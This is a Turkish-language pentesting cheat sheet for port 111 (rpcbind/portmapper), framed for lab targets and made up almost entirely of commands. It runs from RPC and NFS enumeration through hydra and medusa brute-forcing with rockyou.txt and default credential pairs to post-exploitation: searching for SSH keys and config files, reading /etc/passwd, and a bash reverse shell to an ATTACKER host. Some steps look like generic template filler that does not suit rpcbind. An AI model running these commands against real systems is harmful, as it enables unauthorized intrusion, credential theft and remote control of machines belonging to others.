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111/TCP/UDP - Pentesting Portmapper

rpcbind enum

rpcbind kayıtlı RPC programlarını yayınlar; NFS/NIS/rusers keşfinin kapısıdır. Hedef lab IP’si üzerinde komutları 111 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 111 TCP/UDP.

  2. rpcinfo.

  3. Program→port.

  4. NFS/NIS takip.

Terminal window
nmap -Pn -sV -p111 TARGET
Terminal window
nmap -Pn -p111 --script rpcinfo TARGET
Terminal window
rpcinfo -p TARGET
Terminal window
rpcinfo -m TARGET
Terminal window
showmount -e TARGET
Terminal window
nmap -Pn -sV -p111 --script nfs*,rpc* TARGET

/TCP/UDP - Portmapper için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p111 TARGET
Terminal window
nmap -Pn -p111 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:111' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',111));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /TCP/UDP - Portmapper
Terminal window
hydra -L users.txt -P rockyou.txt -s 111 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 111
Terminal window
nmap -p111 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit rpcbind
Terminal window
msfconsole -q -x 'search rpcbind; exit'
Terminal window
nuclei -u https://TARGET:111 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:111 -tags tech -silent || true
Terminal window
nc -nv TARGET 111
Terminal window
printf '
' | timeout 3 nc -nv TARGET 111
Terminal window
curl -vk --http1.0 http://TARGET:111/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
rpcinfo → NFS/NIS/rusers → share abuse